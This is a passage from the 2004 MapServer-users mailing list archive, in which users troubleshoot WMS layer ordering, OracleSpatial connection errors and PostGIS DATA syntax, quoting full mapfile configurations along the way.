>     "WMS_ABSTRACT" "MapNeatline layer."
>     "WMS_SRS" "EPSG:4326"
>   END
> END # layer
>
> LAYER
>   NAME NamedPlaces
>   TYPE POLYGON
>   STATUS ON
>   DATA NamedPlaces
>   PROJECTION
>     "init=epsg:4326"
>   END
>   LABELITEM "NAME"
>   CLASSITEM "NAME"
>   TEMPLATE "namedplaces.html"
>   CLASS
>     NAME "Ashton"
>     EXPRESSION "Ashton"
>     #COLOR 153 153 153
>     COLOR 192 192 192
>     OUTLINECOLOR 0 0 0
>     SIZE 8
>     LABEL
>       ANGLE AUTO
>       COLOR  0 0 0
>       BACKGROUNDCOLOR 192 192 192
>       FONT fritqat
>       TYPE truetype
>       SIZE 10
>       POSITION LR
>       OFFSET 10 10
>       PARTIALS FALSE
>     END
>   END
>   CLASS
>     NAME "Goose Island"
>     EXPRESSION "Goose Island"
>     COLOR 255 255 255
>     SIZE 8
>     TEXT "Goose | Island"
>     LABEL
>       ANGLE AUTO
>       COLOR  0 0 0
>       BACKGROUNDCOLOR 255 255 255
>       FONT fritqat
>       TYPE truetype
>       SIZE 4
>       POSITION CC
>       PARTIALS FALSE
>       WRAP "|"
>     END
>   END
>   METADATA
>     "WMS_TITLE" "cite:NamedPlaces"
>     "WMS_ABSTRACT" "NamedPlaces layer."
>     "WMS_SRS" "EPSG:4326"
>   END
> END # layer
>
> LAYER
>   NAME Ponds
>   TYPE POLYGON
>   STATUS ON
>   DATA Ponds
>   PROJECTION
>     "init=epsg:4326"
>   END
>   TEMPLATE "ponds.html"
>   CLASS
>     NAME "Ponds"
>     COLOR 0 255 255
>     OUTLINECOLOR 0 0 0
>     TEXT "Stock Pond"
>     LABEL
>       COLOR  0 0 0
>       FONT fritqat
>       TYPE truetype
>       SIZE 9
>       #POSITION AUTO
>       POSITION UC
>       PARTIALS FALSE
>       OFFSET 0 23
>     END
>   END
>   METADATA
>     "WMS_TITLE" "cite:Ponds"
>     "WMS_ABSTRACT" "Ponds layer."
>     "WMS_SRS" "EPSG:4326"
>   END
> END # layer
>
> LAYER
>   NAME RoadSegments
>   TYPE LINE
>   STATUS ON
>   DATA RoadSegments
>   PROJECTION
>     "init=epsg:4326"
>   END
>   LABELITEM "NAME"
>   CLASSITEM "NAME"
>   CLASS
>     NAME "MainStreet"
>     EXPRESSION "Main Street"
>     SYMBOL 'circle'
>     SIZE 3
>     COLOR 238 0 0
>     LABEL
>       ANGLE AUTO
>       COLOR  0 0 0
>       FONT fritqat-italic
>       TYPE truetype
>       SIZE 10
>       POSITION UC
>       PARTIALS FALSE
>       OFFSET 0 2
>     END
>   END
>   CLASS
>     NAME "Route5"
>     EXPRESSION "Route 5"
>     SYMBOL 'circle'
>     SIZE 3
>     COLOR 0 0 0
>   END
>   CLASS
>     NAME "Route75"
>     EXPRESSION "Dirt Road by Green Forest"
>     SYMBOL 'circle'
>     SIZE 5
>     #COLOR 255 255 0
>     COLOR 192 160 0
>     TEXT "Dirt Road"
>     LABEL
>       ANGLE 90
>       COLOR  0 0 0
>       FONT fritqat-italic
>       TYPE truetype
>       SIZE 10
>       POSITION AUTO
>       PARTIALS FALSE
>       #OUTLINECOLOR 255 255 255
>       OFFSET 0 5
>     END
>   END
>   METADATA
>     "WMS_TITLE" "cite:RoadSegments"
>     "WMS_ABSTRACT" "RoadSegments layer."
>     "WMS_SRS" "EPSG:4326"
>   END
> END # layer
>
> LAYER
>   NAME RoadSegments_anno
>   STATUS ON
>   DATA RoadSegments
>   TYPE ANNOTATION
>   CLASSITEM "FID"
>   LABELITEM "NAME"
>   CLASS
>     NAME "Route5NorthEastAnnotations"
>     EXPRESSION "104"
>     COLOR 255 255 255
>     OUTLINECOLOR 0 0 0
>     #OVERLAYCOLOR 0 0 0
>     SYMBOL 'routetag'
>     SIZE 25
>     OVERLAYSYMBOL "route5"
>     OVERLAYSIZE 15
>     OVERLAYCOLOR 0 0 0
>     LABEL
>       POSITION CC
>       COLOR 255 255 255
>       FONT fritqat
>       TYPE truetype
>       SIZE 0
>       PARTIALS false
>     END
>   END
>   CLASS
>     NAME "Route5WestAnnotations"
>     EXPRESSION "102"
>     COLOR 255 255 255
>     OUTLINECOLOR 0 0 0
>     #OVERLAYCOLOR 0 0 0
>     SYMBOL 'routetag'
>     SIZE 25
>     OVERLAYSYMBOL "route5"
>     OVERLAYSIZE 15
>     OVERLAYCOLOR 0 0 0
>     LABEL
>       POSITION CC
>       COLOR 255 255 255
>       FONT fritqat
>       TYPE truetype
>       SIZE 0
>       PARTIALS false
>     END
>   END
>   METADATA
>     "WMS_TITLE" "RoadSegments"
>     "WMS_ABSTRACT" "RoadSegments layer."
>     "WMS_SRS" "EPSG:4326"
>   END
> END #Layer
>
> LAYER
>   NAME Streams
>   TYPE LINE
>   STATUS ON
>   DATA Streams
>   PROJECTION
>     "init=epsg:4326"
>   END
>   LABELITEM "NAME"
>   CLASS
>     NAME "Streams"
>     COLOR 0 0 205
>     OUTLINECOLOR 199 199 199
>     SYMBOL 'circle'
>     SIZE 2
>     LABEL
>       ANGLE AUTO
>       COLOR  0 0 205
>       BACKGROUNDCOLOR 255 255 255
>       FONT fritqat-italic
>       TYPE truetype
>       SIZE 10
>       POSITION UC
>       PARTIALS FALSE
>       OFFSET 30 5
>     END
>   END
>   METADATA
>     "WMS_TITLE" "cite:Streams"
>     "WMS_ABSTRACT" "Streams layer."
>     "WMS_SRS" "EPSG:4326"
>   END
> END # layer
>
> LAYER
>   NAME Forests
>   TYPE POLYGON
> #  STATUS ON
>   STATUS DEFAULT
>   DATA Forests
>   PROJECTION
>     "init=epsg:4326"
>   END
>   TEMPLATE "forests.html"
>   CLASS
>     NAME "Forests"
>     COLOR 0 150 0
>     OUTLINECOLOR 0 0 0
>     MINSIZE 4
>     #SYMBOL "sapin"
>     SYMBOL "tree-gif"
>     SIZE 90
> #    OVERLAYSYMBOL "square"
> #    OVERLAYSIZE 50
> #    OVERLAYCOLOR -1 -1 -1
>     TEXT "State | Forest"
>     LABEL
>       ANGLE AUTO
>       COLOR  0 0 0
>       BACKGROUNDCOLOR 255 255 255
>       FONT fritqat
>       TYPE truetype
>       SIZE 18
>       POSITION AUTO
>       PARTIALS FALSE
>       WRAP "|"
>       OFFSET 100 -60
>     END
>   END
>   METADATA
>     "WMS_TITLE" "cite:Forests"
>     "WMS_ABSTRACT" "Forests layer."
>     "WMS_SRS" "EPSG:4326"
>   END
> END # layer
>
> LAYER
>   NAME Bridges
>   TYPE POINT
>   STATUS ON
>   DATA Bridges
>   PROJECTION
>     "init=epsg:4326"
>   END
>   LABELITEM "NAME"
>   CLASS
>     NAME "Bridges"
>     COLOR 0 0 0
>     SYMBOL 'bridge'
>     SIZE 40
>     LABEL
>       ANGLE AUTO
>       COLOR  0 0 0
>       FONT fritqat-italic
>       TYPE truetype
>       SIZE 10
>       POSITION AUTO
>       PARTIALS FALSE
>       OFFSET 20 -8
>     END
>   END
>   METADATA
>     "WMS_TITLE" "cite:Bridges"
>     "WMS_ABSTRACT" "Bridges layer."
>     "WMS_SRS" "EPSG:4326"
>   END
> END # layer
>
> LAYER
>   NAME Lakes
>   TYPE POLYGON
>   STATUS ON
>   DATA Lakes
>   PROJECTION
>     "init=epsg:4326"
>   END
>   TEMPLATE "lakes.html"
>   CLASS
>     NAME "Lakes"
>     COLOR 0 0 205
>     SIZE 8
>     TEXT "BLUE | LAKE"
>     LABEL
>       ANGLE AUTO
>       COLOR  255 255 255
>       FONT fritqat
>       TYPE truetype
>       SIZE 9
>       POSITION LL
>       PARTIALS FALSE
>       WRAP "|"
>       OFFSET 15 -10
>       FORCE true
>     END
>   END
>   METADATA
>     "WMS_TITLE" "cite:Lakes"
>     "WMS_ABSTRACT" "Lakes layer."
>     "WMS_SRS" "EPSG:4326"
>   END
> END # layer
>
> LAYER
>   NAME Buildings
>   TYPE POLYGON
>   STATUS ON
>   DATA Buildings
>   PROJECTION
>     "init=epsg:4326"
>   END
>   TEMPLATE "buildings.html"
>   CLASS
>     NAME "Buildings"
>     COLOR 255 255 255
>     OUTLINECOLOR 0 0 0
>   END
>   METADATA
>     "WMS_TITLE" "cite:Buildings"
>     "WMS_ABSTRACT" "Buildings layer."
>     "WMS_SRS" "EPSG:4326"
>   END
> END # layer
>
> LAYER
>   NAME BuildingCenters
>   TYPE POINT
>   STATUS ON
>   DATA BuildingCenters
>   PROJECTION
>     "init=epsg:4326"
>   END
>   CLASS
>     NAME "BuildingCenters"
>     COLOR 0 0 0
>     SYMBOL 'circle'
>     SIZE 4
>   END
>   METADATA
>     "WMS_TITLE" "cite:BuildingCenters"
>     "WMS_ABSTRACT" "BuildingCenters layer."
>     "WMS_SRS" "EPSG:4326"
>   END
> END # layer
>
> END # Map File
>
>
> nicolas.fortin at ec.gc.ca wrote:
>
>> Hi Heryk,
>>
>> Only the layer 1 is set to default, all other are set to OFF.  I
>> thought that doesn't matter in WMS cause you only got the layers you
>> are querying.
>>
>> I set layer 1 to ON and
>> 1- try LAYERS=2,1 and only got layer 2
>> 2- try LAYERS=1 and got nothing
>>
>> I set layer 1 to OFF (like the others) and
>> 1- try LAYERS=2,1 and only got layer 2
>> 2- try LAYERS=1 and got nothing
>>
>> Weird...
>> Nick
>>
>> -----Message d'origine-----
>> De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>> Envoy? : Monday, January 12, 2004 4:00 PM
>> ? : 'nicolas.fortin at ec.gc.ca'
>> Objet : RE: [Mapserver-users] WMS LAYERS=
>>
>>
>> Hi,
>> Are your layers set to "default" in the mapfile? Is so, you will be
>> calling layers 1,2 and all the layers that are set to default! So your
>> might be calling layers 1 and 2 a second time around! Try setting them
>> to "ON".
>>
>> Bonne chance!
>> H?ryk
>>
>>
>> -----Message d'origine-----
>> De : nicolas.fortin at ec.gc.ca [mailto:nicolas.fortin at ec.gc.ca] Envoy? :
>> Monday, January 12, 2004 3:30 PM ? : mapserver-users at lists.gis.umn.edu
>> Objet
>> : [Mapserver-users] WMS LAYERS=
>>
>>
>> Hi list,
>>
>> When I make a WMS request with the layers parameters like LAYERS=2,1
>>
>> In accordance to the OGC WMS Spec, layer 1 is suppose to be at the top
>> of layer 2 but it isn't the case...why??
>>
>> Even if I change to LAYERS=1,2 ... no change
>>
>> In the mapfile, layer 1 is at the end of the file and is always the top
>> layer on others applications using this mapfile.
>>
>>
>> Thx for your help,
>>
>> Nicolas Fortin
>> Math?maticien, Programmeur, Analyste de donn?es
>> SMC-Qu?bec Hydrologie, Environnement Canada
>> 1141, Rte de l'?glise, Sainte-Foy(QC) G1V 4H5
>> (418)648-2516
>> nicolas.fortin at ec.gc.ca 
>>
>> _______________________________________________
>> Mapserver-users mailing list
>> Mapserver-users at lists.gis.umn.edu
>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
>> _______________________________________________
>> Mapserver-users mailing list
>> Mapserver-users at lists.gis.umn.edu
>> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
>>
>>
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>



-- 
  


From jnielsen at aero-graphics.com  Thu Jan 15 10:39:48 2004
From: jnielsen at aero-graphics.com (Jason M. Nielsen)
Date: Thu, 15 Jan 2004 11:39:48 -0700
Subject: [Mapserver-users] Mapserver + PostGIS for dummies.
Message-ID: <1074191988.4006de74f3577@www.agi-lan.com>

First I would like to say mapserver and all its associated software is awsome.
Its incredible what a community can accomplish when working towards a common
goal using truly open standards.  Very impressive.

Is there any holding your hand walk throughs on implementing a Mapserver +
PostGIS system? Looking for something where we can dump SHP files into the db as
well as rasters then view them.

At the moment I have mapserver compiled with most of the required options
(missing PHP/Mapscript support, having a hell of time getting it to compile due
to some axps deal in my current php setup), Postgresql is installed running and
being used, PostGIS is installed and appears to work.

I have actually dumped shp files into the database no problem with shp2pgsql but
I was never able to get the connection to work nor could I envision in my head
how it all linked together or would be. It appears there is something I have to
do with indexing but I havent the slightest clue where to begin or how it
applies to querying the PostGIS DB similar to just having shp files.

I have the demo working apparently perfectly and even setup my own map with
layers without a hitch using map and shp files.

Below is the error I get now when trying to pull the data from the postgis db. I
have tried "the_geom" and "geometry_column". I also queried the table and the
field name is "the_geom". The list 1 and 2(below) I do not understand what
exactly they are referring to. That is, where do I do this? What exactly is it?

http://postgis.refractions.net/docs/x556.html

I checked the above site and perhaps I am just not reading it carefully enough
but even once I create these indexes it seems like I need to do something
somewhere else if for no other reason than creating them had no affect on the
outcome of my query.

-----------------------
msDrawMap(): Image handling error. Failed to draw layer named 'Utah Geological
Study'.
prep_DB(): Query error. Error executing POSTGIS DECLARE (the actual query)
statement: 'DECLARE mycursor BINARY CURSOR FOR SELECT
name::text,asbinary(force_collection(force_2d(the_geom)),'NDR'),OID::text from
s81 WHERE the_geom && setSRID('BOX3D(1781048.9509602
472006.998403,2143367.3005688 833751.562963)'::BOX3D,
find_srid('','s81','the_geom') )'

Postgresql reports the error ''

More Help:

Error with POSTGIS data variable. You specified ''.
Standard ways of specifiying are :
(1) 'geometry_column from geometry_table'
(2) 'geometry_column from () as foo using unique  using
SRID='

Make sure you put in the 'using unique ' and 'using SRID=#' clauses in.

For more help, please see http://postgis.refractions.net/documentation.php

Mappostgis.c - version of June 12/2003. 
-----------------------
Where do these two "using" clauses go?


Thanks,
Jason Nielsen

-------------------------------------------------
This mail sent through IMP: http://horde.org/imp/


From nicolas.fortin at ec.gc.ca  Thu Jan 15 10:39:19 2004
From: nicolas.fortin at ec.gc.ca (nicolas.fortin at ec.gc.ca)
Date: Thu, 15 Jan 2004 13:39:19 -0500
Subject: [Mapserver-users] RE : OracleSpatial Error
Message-ID: 

Hi Bart!

Yes it's the full error message ... No ORA-XXXXX message so it's difficult
to know what happens.
In the logfile of mapserver (DEBUG TRUE and LOG "log.txt"), the same message
is writing by mapserver.
I didn't know about the MS_ERRORFILE Env Var...what is it??

I'm on Windows 2000 and IIS and both Oracle (Client and DB) are 9.2.0.3
I can't replicate this error nowhere but on this server...and I tried
mapserver on 4 workstations/server now.

Thx,
Nicolas

-----Message d'origine-----
De : Bart van den Eijnden [mailto:bartvde at xs4all.nl] 
Envoy? : Thursday, January 15, 2004 1:35 PM
? : nicolas.fortin at ec.gc.ca; mapserver-users at lists.gis.umn.edu
Objet : Re: [Mapserver-users] RE : OracleSpatial Error


Hi Nicolas,

is this the full error message, or an error message showing up in your 
browser after performing a WMS request?

In other words, have you set the MS_ERRORFILE environment variable to get 
full debugging output?

BTW: what platform is your server on and which Oracle version? Do you have 
the same (version of the) Oracle client installed on the server and on 
your workstation? What webserver do you have?

Best regards,
Bart

On Thu, 15 Jan 2004 09:35:53 -0500,  wrote:

>
> Hi again!
>
> My Oracle problem on the server is not solved yet.
>
> msDrawMap(): Image handling error. Failed to draw layer named '1_02'.
> msOCIConnect() in msOracleSpatialLayerOpen(): OracleSpatial error.
>
> More observations :
> I can get an image with the shp2img utilities and the same mapfile. I 
> can make Oracle spatial query from SQL*Plus on the server without 
> error. I use the same layers and Oracle connection/user of this 
> mapfile on my workstation without error.
>
> The error only appears when the request is made to the web server
>
> I'm open to all kind of suggestions!
> Thx
> Nicolas
>
> -----Message d'origine-----
> De : nicolas.fortin at ec.gc.ca [mailto:nicolas.fortin at ec.gc.ca] Envoy? : 
> Tuesday, January 13, 2004 10:29 AM ? : nsavard at dmsolutions.ca; 
> hjulien at nrcan.gc.ca Cc : mapserver-users at lists.gis.umn.edu
> Objet : RE : RE : RE : [Mapserver-users] WMS LAYERS= [SOLVED] But an 
> Orac le
> one too!
>
>
>
> Problem solved!
> The mapfile sent below is not exactly the right one, in the other, one
> group
> has the same name as a layer.  By renaming the group, all is back to 
> normal.
>
> Thx for your help!
>
> Now we have a weird oracle error message from the server we're trying 
> to install mapserver, here it is:
> msDrawMap(): Image handling error. Failed to draw layer named '1_02'.
> msOCIConnect() in msOracleSpatialLayerOpen(): OracleSpatial error.
>
> I searched the archive but found nothing...
> An idea? Someone...
>
> Nick
>
> -----Message d'origine-----
> De : nicolas.fortin at ec.gc.ca [mailto:nicolas.fortin at ec.gc.ca] Envoy? : 
> Tuesday, January 13, 2004 9:46 AM ? : nsavard at dmsolutions.ca
> Cc : mapserver-users at lists.gis.umn.edu
> Objet : RE : RE : [Mapserver-users] WMS LAYERS=
>
>
>
> Hi Normand, thx for your answer!
> No, you don't have access to it cause it's only intranet for the
> moment...
>
> This afternoon, I'll try to place the layers like Heryk said to see if 
> it works.
>
> Here's my wms request: 
> http://f044d065/mapserv/mapcmitest2.asp?REQUEST=GetMap&SERVICE=wms&VER
> SION=1
> .1.1&Layers=2,1&BBOX=7610000,1222000,7622000,1234000
>
> And my mapfile:
> # 
> ---------------------------------------------------------------------
> # Mapserver 4.0 for Oracle
> # Nicolas Fortin, Env Can nicolas.fortin at ec.gc.ca
> # MapFile Test pour la CMI V1.4
> # ---------------------------------------------------------------------
>
> NAME IJC4
> EXTENT 7610000 1222000 7622000 1234000 #Lac St-Louis
> SIZE 425 425
> SYMBOLSET 'C:\Inetpub\wwwroot\mapserv\symbols\symbols35.sym'
>
> # Projection LCC de la CMI
> PROJECTION
>   "proj=lcc"
>   "ellps=GRS80"
>   "lat_0=63"
>   "lon_0=-91.8666"
>   "lat_1=49"
>   "lat_2=77"
>   "x_0=6200000"
>   "y_0=2958000"
>   "datum=NAD83"
>   "units=m"
> END
>
> WEB
>   TEMPLATE defaultcmitest1.html
>   HEADER header.html
>   FOOTER footer.html
>   IMAGEPATH "C:/Inetpub/wwwroot/tmp/"
>   IMAGEURL "/tmp/"
>   METADATA
>     wms_title "WMS Quebec Node for IJC test2"
>     wms_onlineresource "http://f044d065/mapserv/mapcmitest2.asp?"
>     wms_contactelectronicmailaddress "nicolas.fortin at ec.gc.ca"
>     wms_contactperson "Nicolas Fortin"
>     wms_contactorganization "Environnement Canada, SMC-Hydrologie"
>     wms_contactposition "Programmeur, Analyste de donn?es num?riques"
>     wms_srs "EPSG:4326 EPSG:4269 EPSG:2145 EPSG:42304"
>   END
> END
>
> LEGEND
>   STATUS ON
>   LABEL
>      COLOR 0 0 0
>      SHADOWCOLOR 218 218 218
>      SHADOWSIZE 2 2
>      TYPE BITMAP
>      SIZE MEDIUM
>      POSITION CC
>      PARTIALS FALSE
>      BUFFER 2
>   END
> END
>
> REFERENCE
>   STATUS ON
>   IMAGE "c:\Inetpub\wwwroot\mapserv\images\ref_cmi_lite2.gif"
>   SIZE 150 150
>   EXTENT 7549910 1161398 7689518 1363371
>   COLOR -1 -1 -1
>   OUTLINECOLOR 255 0 0
> END
>
> LAYER
>   NAME "2"
>   TYPE POLYGON
>   CONNECTIONTYPE oraclespatial
>   CONNECTION "user/****@quebijc"
>   DATA "POLYGON FROM USR_WATERSHED.VWTRSD_LCC USING SRID 3000000"
>   STATUS OFF
>   DUMP TRUE
>
>   METADATA
>     wms_title "Quebec Watersheds"
>     wms_extent "7035577.31 1082076.03 7833285.05 1507787.39"
>   END
>
>   PROJECTION
>     "proj=lcc"
>     "ellps=GRS80"
>     "lat_0=63"
>     "lon_0=-91.8666"
>     "lat_1=49"
>     "lat_2=77"
>     "x_0=6200000"
>     "y_0=2958000"
>     "datum=NAD83"
>     "units=m"
>   END
>
>   CLASS
>     NAME "Watershed"
>     SYMBOL 'CIRCLE'
>     SIZE 2
>     COLOR 255 255 255
>     OUTLINECOLOR 0 204 0
>   END
> END
>
> LAYER
>   NAME "1"
>   TYPE LINE
>   CONNECTIONTYPE oraclespatial
>   CONNECTION "user/****@quebijc"
>   DATA "LINE FROM USR_SHORELINE.VSHORELINE_LCC USING SRID 3000000"
>   STATUS DEFAULT
>   GROUP "Shoreline"
>   DUMP TRUE
>
>   METADATA
>     wms_title "St. Lawrence River Detailed Shoreline"
>     wms_extent "7563132.5 1166237.24 7684888.9 1363371.77"
>     wms_group_title "Shoreline"
>   END
>
>   PROJECTION
>     "proj=lcc"
>     "ellps=GRS80"
>     "lat_0=63"
>     "lon_0=-91.8666"
>     "lat_1=49"
>     "lat_2=77"
>     "x_0=6200000"
>     "y_0=2958000"
>     "datum=NAD83"
>     "units=m"
>   END
>
>   CLASS
>     NAME "Detailed Shoreline"
>     COLOR 0 51 255
>     SYMBOL 'CIRCLE'
>     SIZE 1
>   END
> END # Shoreline
>
> END
>
>
> -----Message d'origine-----
> De : Normand Savard [mailto:nsavard at dmsolutions.ca]
> Envoy? : Monday, January 12, 2004 5:05 PM
> ? : nicolas.fortin at ec.gc.ca
> Cc : hjulien at nrcan.gc.ca; mapserver-users at lists.gis.umn.edu Objet : 
> Re:
> RE :
> [Mapserver-users] WMS LAYERS=
>
>
> Hi,
>
> I tried to replicate this problem without success by using our WMS
> server used during the OGC compliance tests.   I also used the OGC test
> suite requests.  I joined both the map file and the requests sent (see 
> below).  Theses requests contain three layers.  In the first request, 
> the "Forest" layer is drawn first.  In the second request, the 
> "Forest" layer is drawn last.  You can also see that I modified the
mapfile to
> set the "Forest" layer status to "DEFAULT".   It does not seem to affect
> the drawing order.  But maybe I'm missing something.  Do we have 
> access your WMS server?  It is possible to have a copy of your mapfile 
> and the request you are currently sending?
>
> Norm
>
>
>
> The requests used are.
>
>
> http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?VERSION=1.1.1&REQUES
> T=GetM
>
ap&LAYERS=Forests,Lakes,NamedPlaces&STYLES=&SRS=EPSG:4326&BBOX=-0.0042,-0.00
> 24,0.0042,0.0024&WIDTH=168&HEIGHT=96&FORMAT=image/gif
>
>
> http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?VERSION=1.1.1&REQUES
> T=GetM
>
ap&LAYERS=NamedPlaces,Lakes,Forests&STYLES=&SRS=EPSG:4326&BBOX=-0.0042,-0.00
> 24,0.0042,0.0024&WIDTH=168&HEIGHT=96&FORMAT=image/gif
>
>
>
> Our map file is as follow:
>
> #
> # Start of map file
> #
> # $Id: ogc_cite_wms_server.map,Exp $
> #
> NAME OGC_CITE
> STATUS ON
> SIZE 600 400
> ## EPSG:4326 extents
> EXTENT -2 -2 -1 6
> #EXTENT -0.0042 -0.0024 0.0042 0.0024
>
> UNITS METERS
> SHAPEPATH "../data/shapefile"
> IMAGECOLOR 255 255 255
> FONTSET ../etc/fonts.txt
> SYMBOLSET ../etc/symbols.sym
>
> #
> # Start of web interface definition
> #
> WEB
> # On Windows systems, /tmp and /tmp/ms_tmp/ should be created at the
> root #
> of the drive where the .MAP file resides. #
>   IMAGEPATH "/tmp/ms_tmp/"
>   IMAGEURL "/ms_tmp/"
> #  LOG "/tmp/gmap.log"
>   METADATA
>     "WMS_TITLE"         "cite:OGC_CITE WMS Server"
>     "WMS_ONLINERESOURCE"
> "http://www2.dmsolutions.ca/cgi-bin/mswms_ogc_cite?"
>     "WMS_SRS"           "EPSG:4326"
>     "OWS_SCHEMAS_LOCATION" "http://ogc.dmsolutions.ca"
>     "WMS_ACCESSCONTRAINTS" "none"
>     "WMS_FEES"              "none"
>
>   END
> END
>
> PROJECTION
>   "init=epsg:4326"
> END
>
> QUERYMAP
>   SIZE 200 200
>   STATUS ON
>   STYLE HILITE
>   COLOR 255 0 0
> END
>
> #
> # Start of layer definitions
> #
>
> LAYER
>   NAME BasicPolygons
>   TYPE POLYGON
>   STATUS OFF
>   DATA BasicPolygons
>   PROJECTION
>     "init=epsg:4326"
>   END
>   TEMPLATE "basicpolygons.html"
>   CLASS
>     NAME "BasicPolygons"
>     COLOR 194 194 194
>   END
>   METADATA
>     "WMS_TITLE" "cite:BasicPolygons"
>     "WMS_ABSTRACT" "BasicPolygons layer."
> #    "WMS_SRS" "EPSG:4326"
>   END
> END # layer
>
> LAYER
>   NAME DividedRoutes
>   TYPE LINE
>   STATUS ON
>   DATA DividedRoutes
>   PROJECTION
>     "init=epsg:4326"
>   END
>   CLASS
>     NAME "DividedRoutes"
>     COLOR 0 0 0
>     OUTLINECOLOR 0 0 0
>     SYMBOL 'circle'
>     SIZE 6
>   END
>   METADATA
>     "WMS_TITLE" "cite:DividedRoutes"
>     "WMS_ABSTRACT" "DividedRoutes layer."
>     "WMS_SRS" "EPSG:4326"
>   END
> END # layer
>
> LAYER
>   NAME DividedRoutes_anno
>   STATUS ON
>   DATA DividedRoutes
>   TYPE ANNOTATION
>   LABELITEM "NAME"
>   CLASS
>     NAME "DividedRoutesAnnotations"
>     COLOR 255 255 255
>     OUTLINECOLOR 0 0 0
>     SYMBOL 'routetag'
>     SIZE 40
>     OVERLAYSYMBOL "route75"
>     OVERLAYSIZE 15
>     OVERLAYCOLOR 0 0 0
>     LABEL
>       POSITION CC
>       COLOR 255 255 255
>       FONT fritqat
>       TYPE truetype
>       SIZE 0
>       PARTIALS false
>     END
>   END
>   METADATA
>     "WMS_TITLE" "DividedRoutes"
>     "WMS_ABSTRACT" "Divided routes layer."
>     "WMS_SRS" "EPSG:4326"
>   END
> END # layer
>
> LAYER
>   NAME MapNeatline
>   TYPE LINE
>   STATUS ON
>   DATA MapNeatline
>   PROJECTION
>     "init=epsg:4326"
>   END
>   CLASS
>     NAME "MapNeatline"
>     COLOR 0 0 0
>     SYMBOL 'circle'
>     SIZE 3
>   END
>   METADATA
>     "WMS_TITLE" "cite:MapNeatline"
>     "WMS_ABSTRACT" "MapNeatline layer."
>     "WMS_SRS" "EPSG:4326"
>   END
> END # layer
>
> LAYER
>   NAME NamedPlaces
>   TYPE POLYGON
>   STATUS ON
>   DATA NamedPlaces
>   PROJECTION
>     "init=epsg:4326"
>   END
>   LABELITEM "NAME"
>   CLASSITEM "NAME"
>   TEMPLATE "namedplaces.html"
>   CLASS
>     NAME "Ashton"
>     EXPRESSION "Ashton"
>     #COLOR 153 153 153
>     COLOR 192 192 192
>     OUTLINECOLOR 0 0 0
>     SIZE 8
>     LABEL
>       ANGLE AUTO
>       COLOR  0 0 0
>       BACKGROUNDCOLOR 192 192 192
>       FONT fritqat
>       TYPE truetype
>       SIZE 10
>       POSITION LR
>       OFFSET 10 10
>       PARTIALS FALSE
>     END
>   END
>   CLASS
>     NAME "Goose Island"
>     EXPRESSION "Goose Island"
>     COLOR 255 255 255
>     SIZE 8
>     TEXT "Goose | Island"
>     LABEL
>       ANGLE AUTO
>       COLOR  0 0 0
>       BACKGROUNDCOLOR 255 255 255
>       FONT fritqat
>       TYPE truetype
>       SIZE 4
>       POSITION CC
>       PARTIALS FALSE
>       WRAP "|"
>     END
>   END
>   METADATA
>     "WMS_TITLE" "cite:NamedPlaces"
>     "WMS_ABSTRACT" "NamedPlaces layer."
>     "WMS_SRS" "EPSG:4326"
>   END
> END # layer
>
> LAYER
>   NAME Ponds
>   TYPE POLYGON
>   STATUS ON
>   DATA Ponds
>   PROJECTION
>     "init=epsg:4326"
>   END
>   TEMPLATE "ponds.html"
>   CLASS
>     NAME "Ponds"
>     COLOR 0 255 255
>     OUTLINECOLOR 0 0 0
>     TEXT "Stock Pond"
>     LABEL
>       COLOR  0 0 0
>       FONT fritqat
>       TYPE truetype
>       SIZE 9
>       #POSITION AUTO
>       POSITION UC
>       PARTIALS FALSE
>       OFFSET 0 23
>     END
>   END
>   METADATA
>     "WMS_TITLE" "cite:Ponds"
>     "WMS_ABSTRACT" "Ponds layer."
>     "WMS_SRS" "EPSG:4326"
>   END
> END # layer
>
> LAYER
>   NAME RoadSegments
>   TYPE LINE
>   STATUS ON
>   DATA RoadSegments
>   PROJECTION
>     "init=epsg:4326"
>   END
>   LABELITEM "NAME"
>   CLASSITEM "NAME"
>   CLASS
>     NAME "MainStreet"
>     EXPRESSION "Main Street"
>     SYMBOL 'circle'
>     SIZE 3
>     COLOR 238 0 0
>     LABEL
>       ANGLE AUTO
>       COLOR  0 0 0
>       FONT fritqat-italic
>       TYPE truetype
>       SIZE 10
>       POSITION UC
>       PARTIALS FALSE
>       OFFSET 0 2
>     END
>   END
>   CLASS
>     NAME "Route5"
>     EXPRESSION "Route 5"
>     SYMBOL 'circle'
>     SIZE 3
>     COLOR 0 0 0
>   END
>   CLASS
>     NAME "Route75"
>     EXPRESSION "Dirt Road by Green Forest"
>     SYMBOL 'circle'
>     SIZE 5
>     #COLOR 255 255 0
>     COLOR 192 160 0
>     TEXT "Dirt Road"
>     LABEL
>       ANGLE 90
>       COLOR  0 0 0
>       FONT fritqat-italic
>       TYPE truetype
>       SIZE 10
>       POSITION AUTO
>       PARTIALS FALSE
>       #OUTLINECOLOR 255 255 255
>       OFFSET 0 5
>     END
>   END
>   METADATA
>     "WMS_TITLE" "cite:RoadSegments"
>     "WMS_ABSTRACT" "RoadSegments layer."
>     "WMS_SRS" "EPSG:4326"
>   END
> END # layer
>
> LAYER
>   NAME RoadSegments_anno
>   STATUS ON
>   DATA RoadSegments
>   TYPE ANNOTATION
>   CLASSITEM "FID"
>   LABELITEM "NAME"
>   CLASS
>     NAME "Route5NorthEastAnnotations"
>     EXPRESSION "104"
>     COLOR 255 255 255
>     OUTLINECOLOR 0 0 0
>     #OVERLAYCOLOR 0 0 0
>     SYMBOL 'routetag'
>     SIZE 25
>     OVERLAYSYMBOL "route5"
>     OVERLAYSIZE 15
>     OVERLAYCOLOR 0 0 0
>     LABEL
>       POSITION CC
>       COLOR 255 255 255
>       FONT fritqat
>       TYPE truetype
>       SIZE 0
>       PARTIALS false
>     END
>   END
>   CLASS
>     NAME "Route5WestAnnotations"
>     EXPRESSION "102"
>     COLOR 255 255 255
